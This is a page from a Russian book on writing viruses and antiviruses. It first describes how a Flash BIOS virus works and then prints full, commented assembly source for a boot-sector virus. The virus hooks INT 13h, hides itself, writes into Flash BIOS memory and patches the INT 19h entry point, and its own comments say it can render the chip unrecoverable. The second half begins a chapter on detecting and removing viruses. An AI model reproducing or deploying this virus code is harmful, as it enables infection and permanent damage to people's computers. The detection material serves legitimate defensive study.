Текст книги "Создаем вирус и антивирус"
Автор книги: Игорь Гульев
Жанр: Программирование, Компьютеры
сообщить о неприемлемом содержимом
Текущая страница: 7 (всего у книги 15 страниц)
Flash BIOS
Новое место для вирусовFlash-память – энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS – Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована – это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90 % портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру – это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирусАлгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она находится в режиме «ReadOnly»);
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим «ReadOnly» для памяти Flash BIOS.
Единственное предназначение INT 19h – быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при размещении в микросхемах Flash-памяти, которые базируются на использовании функции E0h прерывания INT 16h. Самое интересное состоит в том, что однажды внесенный в эту память вирус может запретить повторно использовать указанную функцию. Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Исходя из этого, авторам антивирусных программ придется трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
;серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с ”чистой”
;дискеты. Зараженный чип в рабочее состояние не вернуть.
org 0
;При входе в boot−сектор DL=загрузочный диск
mov si,7C00h
;Установим 0000h в регистрах DS и ES
xor ax,ax
mov es,ax
mov ds,ax
;Установим значение стека 0000h:7C00h
cli
mov ss,ax
mov sp,si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в AX)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shl ax,cl
;Установим новый сегмент вируса (вершина памяти)
mov es,ax
;Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
cld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
;загрузился до загрузки DOS, то прерывание INT 21h еще не
;работает – работаем с вектором прерывания прямо в таблице
mov ax,word ptr [13h*4]
mov word ptr es:[offset i13],ax
mov ax,word ptr [13h*4+2]
mov word ptr es:[offset i13+2],ax
;Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
;Переходим в точку ES:Restart (в копии вируса,
;находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;С этого места программа работает уже в вершине памяти
Restart:
;Загружаем оригинальный boot−сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
;функцию 00h прерывания INT 13h)
xor ax,ax
call int13h
;Подготовим регистры для загрузки оригинального boot−сектора
xor ax,ax
mov es,ax ;Сегмент для загрузки
mov bx,7C00h ;Смещение для загрузки
mov cx,0002h ;Дорожка 0, сектор 2
xor dh,dh ;Головка 0
mov ax,0201h ;Функция 2, количество секторов 1
;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,
;иначе – дискета. Копия оригинального boot−сектора хранится
;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;
;на дискете – дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov cl,14 ;Сектор 14
mov dh,1 ;Головка 1
;Загрузим оригинальный boot−сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
;Сохраним в стеке номер диска, с которого грузимся
push dx
;Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;Заразим Flash BIOS
call flash_BIOS
;Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;Запускаем оригинальный boot−сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Сюда попадаем, когда происходит чтение boot−сектора. Скрываем
;присутствие вируса методом чтения оригинального boot−сектора
Stealth:
;Установим значения сектора, где хранится копия оригинального
;boot−сектора
mov cx,02h
mov ax,0201h
;Проверим, откуда считан boot−сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
;Прочтем копию оригинального boot−сектора. Так как
;номера секторов подменены, фактически ”копия выдается
;за оригинал” – скрываем свое присутствие (Stealth).
call int13h
;Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса – ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BAABh
res_test:
xchg ah,al
iret
;Обработчик прерывания INT 13h
Handler:
;Если при вызове в AX находится ABBAh,
;значит это проверка наличия резидентного вируса
cmp ax,0ABBAh
je res_test
;Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
;Проверяем номера дорожки и сектора, интересуясь только теми
;секторами, в которых может оказаться вирус –
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
;Проверим номер головки. Если не 0, то запустим
;оригинальный обработчик
cmp dh,0
jne jend
try_infect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
;Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
;Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot−сектор (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
;Установим номера дорожки, головки и сектора для жесткого
;диска для сохранения оригинального boot−сектора
mov cx,2
xor dh,dh
jmp write_virus
Infect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot−сектора
mov cx,14
mov dh,1
Write_Virus:
;Записываем оригинальный boot−сектор
mov ax,0301h
call int13h
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;Запишем тело вируса в boot−сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh,dh
call int13h
;Восстановим регистры и флаги (как раз те их значения, которые
;свидетельствует о том, что boot−сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
;Выходим из обработчика в вызывающую программу
retf 2
;Запуск оригинального обработчика
jend:
DD 0EAh ;Код команды JMP FAR
;Оригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Marker db ”VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
;Проверим наличие Flash BIOS
mov ax,0E000h
int 16h
jc no_flash_bios
cmp al,0FAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
;Просканируем память F000h−FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
Infect_Flash:
;Установим начальный сегмент для поиска
mov ax,0F000h
mov ds,ax
;Проверим сегмент
New_segment:
;Установим стартовое смещение
xor si,si
;Установим счетчик найденных байт
;(величина свободного места для вируса)
xor dx,dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
;Проверим, есть ли еще место для вируса
cmp ax,0FFF0h
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
inc dx
;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,
но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512
слов)
cmp dx,512
je found_storage
;Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;В эту точку попадаем, если место найдено
Found_storage:
;Перейдем к началу зоны
sub ax,40h
mov ds,ax
;Получим требования к сохранению состояния чипа
mov ax,0E001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
;Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
;записывать некуда – выходим
No_Flash_BIOS:
ret
;Сохраним состояние чипа
save_chipset:
;Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
;Сохраним состояние
mov al,2
push cs
pop es
mov di,offset buffer
int 16h
;Записываемся во Flash BIOS
write_enable:
;Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
;Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di,di
mov cx,512
push cs
pop ds
xor si,si
cld
rep movsb
;Здесь нужна особая осторожность. Int19h указывает на BIOS,
;позднее оно перехватывается различными программами.
;Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно – ”внедриться” в int19h.
;Можно перехватить его в том месте, где находится
;сохраненная таблица векторов, но сделаем интереснее.
;Получим смещение оригинального обработчика int19h
mov bx,es ;BX=сегмент вируса
xor ax,ax
mov ds,ax ;DS=Таблица векторов
mov di,word ptr [19h*4] ;Смещение INT 19h
mov es,word ptr [19h*4+2] ;Сегмент INT 19h
;Запишем JMP FAR по адресу точки входа в INT 19h
mov al,0EAh
stosb
mov ax,offset int19handler
stosw
mov ax,bx
stosw
;Понизим напряжение
mov ax,0E004h
int 16h
;Защитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
;Восстановим состояние чипа
push cs
pop es
mov al,3
mov di,offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
Int19Handler Proc Near
;Установим сегментный регистр ES в ноль
xor ax,ax
mov es,ax
;Проверим наличие резидентного вируса
mov ax,0ABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
;обработчик прерывания INT 19h
cmp ax,0BAABh
jne real_int19h
;Перенесем вирус из BIOS в boot−буфер
push cs
pop ds
cld
xor si,si
mov di,7c00h
mov cx,512
rep movsb
;Запустим вирус в boot−буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Проинициализируем значения регистров для загрузки boot−сектора
mov cx,1
mov dh,0
mov ax,0201h
mov bx,7C00h
;Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
ja hd_int19h
;Прочтем boot−сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
;Установим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done],1
;Запустим boot−сектор, находящийся в boot−буфере
db 0EAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
;Установим номер диска для загрузки (диск C)
mov dl,80h
HD_Int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Прочтем boot−сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot−сектор,
;вызываем прерывание INT 18h
Boot:
int 18h
Int19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510–offset End_Virus
;Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:
Глава 6
Методы борьбы с вирусами
В этой главе описаны наиболее эффективные методы борьбы с вирусами, защиты от проникновения и лечения. Приведены алгоритмы необходимых действий при подозрении на наличие вируса в компьютере. Описаны меры по предотвращению «эпидемии» путем создания программы-блокировщика.
Рассмотрен пример создания программы-антивируса. Представлены исходные тексты программ с подробными комментариями.
В предыдущих главах состоялось знакомство с компьютерными вирусами, поражающими Flash BIOS, документы текстового процессора Microsoft Word 6.0 for Windows, файлы разных операционных систем и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус – это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причинам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие – эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100 %, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.
Таким образом, на 100 % защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьями и играет в игры, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно – сам он не родится.
Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как можно меньше или, по крайней мере, только сталкиваться, не допуская их на жесткий диск своего винчестера. В первую очередь – самые элементарные правила «компьютерной гигиены»: проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигурационный файл AUTOEXEC.BAT – тоже весьма действенно.
Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет – а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии.
Стандартные программы защиты
В большинстве случаев вирус, заразивший компьютер, помогут обнаружить уже разработанные программы-детекторы. Они проверяют, имеется ли в файлах на указанном пользователем диске специфическая для данного вируса последовательность байт. При обнаружении вируса программа выводит на экран соответствующее сообщение.
Стоит также заметить, что программы-детекторы не слишком универсальны, поскольку способны обнаружить только известные вирусы. Некоторым таким программам можно сообщить специальную последовательность байт, характерную для какого-то вируса, и они смогут обнаружить инфицированные им файлы – например, это умеет Notron Antivirus или AVSP.
Программа Aidstest устарела и сейчас уже практически не используется. Наиболее широкое распространение получили программы DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы – как самые старые, так и только что появившиеся. Еще нужно упомянуть детектор Adinf. Эта антивирусная программа обнаруживает все вирусы, не изменяющие длину файлов, невидимые вирусы, и многие другие. Таким образом, эти три программы обеспечат мощнейшую защиту против вирусов. Кстати, на западе тоже предпочитают пользоваться российскими программами DrWeb и AVP.
Спасаясь от вирусов, создайте мощную защиту против них. Установите на своем диске AVP, DrWeb и Adinf. Каждая программа хороша по-своему – пусть защита будет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT, тогда при загрузке компьютера проверка на заражение вирусом будет проводиться автоматически.
Всегда проверяйте файлы, попадающие на ваш компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Никогда не позволяйте посторонним работать на вашем компьютере – именно они чаще всего приносят вирусы. Особое внимание следует уделять играм – чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.
Поиск вируса
Когда во время работы компьютер начинает вести себя как-то необычно, первая мысль, приходящая на ум любому пользователю – уж не вирус ли это. В такой ситуации важно правильно оценить свои подозрения и сделать выводы.
Как правило, человек, обладающий некоторым опытом и владеющий соответствующим программным инструментарием, справляется с этой задачей без особых затруднений. Наиболее сложная ситуация – когда действовать приходится в «полевых» условиях, например, на чужой машине.
Типичный вариант: стандартная PC (286, 386…Pentium), как минимум 1 Мбайт ОЗУ, как минимум 400Мбайт HDD; возможно наличие принтера, звуковой карты, CDD и прочей периферии. Программное обеспечение: Windows 95, возможно Windows 3.1x, но работают все равно под DOS. Джентльменский набор: Norton Commander 3.0–5.0, Norton Utility 6.0–8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы, архиваторы, резидентные программы и прочее. В качестве обязательного условия – наличие заведомо «чистой» защищенной от записи загрузочной дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый комплект программ.
Итак, по мнению хозяина компьютер ведет себя странно. Например, программы, которые раньше работали правильно, начинают сбоить или вообще перестают запускаться, компьютер периодически «виснет», экран и динамик воспроизводят необычные видео– и аудиоэффекты. Что будем делать?
1. Усаживаем перед собой хозяина компьютера и подробно расспрашиваем его о событиях, предшествующих возникновению сбоев. Выяснить нужно следующее.
Кем и как используется машина? Если сотрудники или хозяин часто приносят мелкие игрушки, гороскопы, устанавливают и стирают различные бухгалтерские программы, то вероятность наличия вируса в машине весьма высока. Крупные игрушки, которые с трудом умещаются даже в упакованном виде в коробку дискет, переносятся с машины на машину редко. При этом они, чаще всего, тщательно проверяются на наличие вирусов.
а) Когда впервые замечены симптомы вируса? Некоторые вирусы любят приурочивать свою деятельность к определенной дате или времени: 1 мая, 7 ноября, 13-е число, пятница, пять часов вечера, а также 6 марта, 15 ноября, 11-я минута каждого часа.
б) Не связаны ли изменения в работе компьютера с первым запуском какой-либо программы? Если да, то эта программа – первая в очереди на «медкомиссию».
в) Не связано ли появление симптомов заражения с распаковкой какого-либо старого архива и запуском программ из него? Некоторые современные антивирусы (AVP, DrWeb) умеют проверять архивы наиболее популярных форматов. Но ведь изредка еще встречаются архивы. ice, arc, zoo, bsa, uc2, ha, pak, chz, eli и прочие – их антивирусы диагностировать не могут.
г) Не имеет ли хозяин (хозяйка) компьютера привычку оставлять дискеты в дисководе при перезагрузке? Загрузочный вирус может годами жить на дискете, никак себя не проявляя.
2. В присутствии хозяина (хозяйки) включаем компьютер. Внимательно следим за процессом загрузки. Сначала запускается программа POST, записанная в ПЗУ BIOS. Она тестирует память, тестирует и инициализирует прочие компоненты компьютера и завершается коротким одиночным гудком. Если «вирус» проявляет себя уже на этом этапе – он здесь ни при чем. Теоретически вирус может существовать и в BIOS: предполагается, что первые вирусы на территорию СССР «приехали» внутри болгарских ПЗУ (современные ПЗУ часто не являются «постоянными запоминающими устройствами», они предусматривают возможность перезаписи BIOS).
3. В присутствии хозяина (хозяйки) пытаемся вызвать необычное поведение компьютера.
а) Идеально, если вирус (если это действительно он) самостоятельно извещает всех о своем присутствии, например, выводит на экран сообщение типа «I am VIRUS!».
Вирусы проявляют себя различными способами: проигрывают мелодии, выводят на экран посторонние картинки и надписи, имитируют аппаратные сбои, заставляя дрожать экран. Но, к сожалению, чаще всего вирусы специально себя не обнаруживают. К антивирусным программам прилагаются каталоги с описаниями вирусов (для AidsTest они хранятся в файле aidsvir.txt, для DrWeb – в файле virlist.web). Наиболее полным является гипертекстовый каталог avpve, входящий в состав антивирусного пакета Е. Касперского. В нем можно не только прочитать достаточно подробное описание любого вируса, но и понаблюдать его проявления.
От настоящих вирусов следует отличать так называемые «студенческие шутки», особенно широко распространенные на компьютерах ВУЗов и школ. Как правило, это резидентные программы, которые периодически производят напоминающие работу вирусов видео– и аудиоэффекты. В отличие от настоящих вирусов, эти программы не умеют размножаться. Наличие такого рода программ на «бухгалтерских» компьютерах маловероятно.
б) Очень часто сбои вызываются вирусами не преднамеренно, а лишь в силу их несовместимости с программной средой, возникающей из-за наличия в алгоритме вируса ошибок и неточностей. Если какая-либо программа «зависает» при попытке запуска, существует очень большая вероятность, что именно она и заражена вирусом. Если компьютер «виснет» в процессе загрузки (после успешного завершения программы POST), то при помощи пошагового выполнения файлов config.sys и autoexec.bat (клавиша F8 в DOS 6.х) можно легко определить источник сбоев.
4. Не перегружая компьютер, запускаем (можно прямо с винчестера) антивирус, лучше всего DrWeb с ключом /hal. Вирус (если он есть) попытается немедленно заразить DrWeb. Последний достаточно надежно детектирует целостность своего кода и в случае чего выведет сообщение «Я заражен неизвестным вирусом!» Если так и произойдет, то наличие вируса в системе доказано. Внимательно смотрим на диагностические сообщения типа «Файл такой-то ВОЗМОЖНО заражен вирусом такого-то класса» (COM, EXE, TSR, BOOT, MACRO и т. п.). Подозрения на BOOT-вирус в 99 % бывают оправданы.
Однажды DrWeb 3.20 «ругался» на BOOT-сектор дискеты, «вылеченной» AidsTest от вируса LzExe, поэтому антивирусным программам тоже не всегда можно доверять. Наличие большого количества файлов, предположительно зараженных вирусом одного и того же класса, с большой достоверностью указывает на присутствие в компьютере неизвестного вируса. Но могут быть и исключения – DrWeb версии 3.15 и ниже активно «ругался» на стандартные DOC-компоненты WinWord 2.0.
Кроме того, DrWeb определяет наличие в памяти компьютера неизвестных резидентных вирусов и Stealth-вирусов. Ошибки при их определении (в последних версиях антивируса) достаточно редки. Версия 3.15, не умеющая лечить вирус Kaczor, исправно заподозрила наличие агрессивного резидента в памяти. Версия же 3.18, умеющая его лечить, в инфицированной системе вообще ничего не заметила, а детектировала и вылечила вирус лишь при загрузке с чистой дискеты. При этом нужно иметь в виду, что предупреждения типа «Странная дата файла», единичные подозрения на COM-, EXE-вирусы и прочее вряд ли могут быть расценены как бесспорное доказательство наличия вируса. MACRO-вирусы живут исключительно в Windows и никакого негативного влияния на DOS-программы оказать не могут, за исключением того случая, когда они что-либо стерли в Windows-сеансе.
5. Нередко сбои бывают вызваны естественными причинами, никакого отношения к вирусам не имеющими.
а) Аппаратные сбои. Исключить эту возможность поможет загрузка с чистой дискеты и запуск (с нее) диагностической программы ndiags. Тестируем память, основную плату, порты и все остальное. Иногда достаточен простой внешний осмотр компьютера – может быть, что-то неправильно подключено.
б) Нарушения в логической структуре диска. Загружаемся с чистой дискеты и запускаем (с нее) ndd. Сначала просто отмечаем наличие ошибок (перекрестных цепочек, потерянных кластеров и так далее). Если ошибок очень много и подавляющее их число относится к СОМ– и ЕХЕ-файлам, то ни в коем случае нельзя выполнять операцию исправления ошибок: это может быть DIR-подобный вирус, и такое «лечение» диска может стать для многих программ фатальным. Если ошибки есть и их относительно немного, рискуем и лечим диск. Вновь загружаемся с винчестера. Сбои пропали?
в) Конфликты между различными компонентами операционной системы и прикладными программами. Особенно «вредоносными» являются дисковые драйверы-обманщики, активно видоизменяющие (пусть и с благородными целями) информацию, считываемую или записываемую на диск:
– дисковые кэш (SMARTDRV, NC_CASHE);
– упаковщики дисков (DblSpace, DrvSpace, Stacker);
– системы безопасности (антивирусные мониторы типа PROTECT, HDPROT, ADM и прочие, системы разграничения доступа DISKMON, DISKREET). Нередко сбоят устаревшие пристыковочные системы защиты от несанкционированного копирования, типа NOTA или CERBERUS.
6. Наконец, самый интересный случай – вирус явно не обнаружен, но подозрения на его наличие по-прежнему остаются. Достаточно подробно эту тему изложил Е. Касперский в своей книге «Компьютерные вирусы в MS-DOS», избранные фрагменты которой можно найти в гипертекстовом каталоге avpve того же автора. Остается только привести краткое изложение этих глав с уточнениями и замечаниями (может быть, весьма спорными).
а) Обнаружение загрузочного вируса. Загружаемся с чистой дискеты и, запустив DiskEditor, заглядываем в сектор 0/0/1 винчестера. Если винчестер разделен (при помощи fdisk) на логические диски, то код занимает приблизительно половину сектора и начинается с байт FAh 33h C0h (вместо 33h иногда может быть 2Bh). Заканчиваться код должен текстовыми строками типа «Missing operating system». В конце сектора размещаются внешне разрозненные байты таблицы разделов. Нужно обратить внимание на размещение активного раздела в таблице разделов. Если операционная система расположена на диске С, а активен 2, 3 или 4 раздел, то вирус мог изменить точку старта, сам разместившись в начале другого логического диска (заодно нужно посмотреть и там). Но также это может говорить о наличии на машине нескольких операционных систем и какого-либо boot-менеджера, обеспечивающего выборочную загрузку. Проверяем всю нулевую дорожку. Если она чистая, то есть ее сектора содержат только байт-заполнитель, все в порядке. Наличие мусора, копий сектора 0/0/1 и прочего может говорить о присутствии загрузочного вируса. Впрочем, антивирусы при лечении загрузочных вирусов лишь «обезглавливают» противника (восстанавливают исходное значение сектора 0/0/1), оставляя тело «догнивать» на нулевой дорожке. Проверяем boot-сектор MS-DOS, он обычно расположен в секторе в 0/1/1. Его внешний вид для сравнения можно найти как в вышеупомянутой книге Е. Касперского, так и на любой «чистой» машине. Итак, если вирус обнаружен, при помощи DiskEditor переписываем в файл зараженный объект: MBR 0/0/1 (а лучше всю нулевую дорожку), boot 0/1/1 и все остальное. Желательно отправить этот комплект вирусологам. Копию, при желании, оставляем себе – для опытов.
б) Обнаружение файлового вируса. Нерезидентные файловые вирусы специально не скрывают своего наличия в системе. Поэтому основным признаком заражения файла является увеличение его длины, которое легко заметить даже в инфицированной операционной системе. Резидентные вирусы могут скрывать изменение длины файла (да и вообще наличие своего кода внутри файла-жертвы), если они написаны по Stealth-технологии. Но при загрузке с «чистой» дискеты это можно увидеть. Некоторые вирусы не изменяют длину заражаемых программ, используя «пустые» участки внутри файла программы или кластерный «хвост» файла, расположенный после последнего заполненного сектора. В этом случае основной признак заражения – изменение контрольной суммы байт файла. Это легко обнаруживают антивирусы-инспектора типа AdInf. В качестве крайней меры можно рассматривать прямое изучение кода программ, подозрительных с точки зрения наличия в них вируса. Одно из лучших программных средств для оперативного изучения кода вирусов – программа HackerView (hiew.exe by SEN). Но, поскольку «по умолчанию» компьютер чужой, hiew, td, softice, ida и подобных программ на нем может просто не оказаться. Зато стандартный отладчик debug присутствует точно. Загружаем подозреваемую на наличие вируса программу (в чистой операционной системе) в память при помощи команды debug <имя_программы>. Команда u позволяет дизассемблировать фрагмент кода, команда d – просмотреть его в шестнадцатеричном формате, команда g <адрес> запускает программу на выполнение с остановом в указанной точке, команда t обеспечивает пошаговую трассировку кода, команда r отображает текущее содержимое регистров. Чтобы визуально распознать наличие вируса по коду, конечно, необходим определенный опыт. Вот на что надо обращать особое внимание:
Правообладателям!
Это произведение, предположительно, находится в статусе 'public domain'. Если это не так и размещение материала нарушает чьи-либо права, то сообщите нам об этом.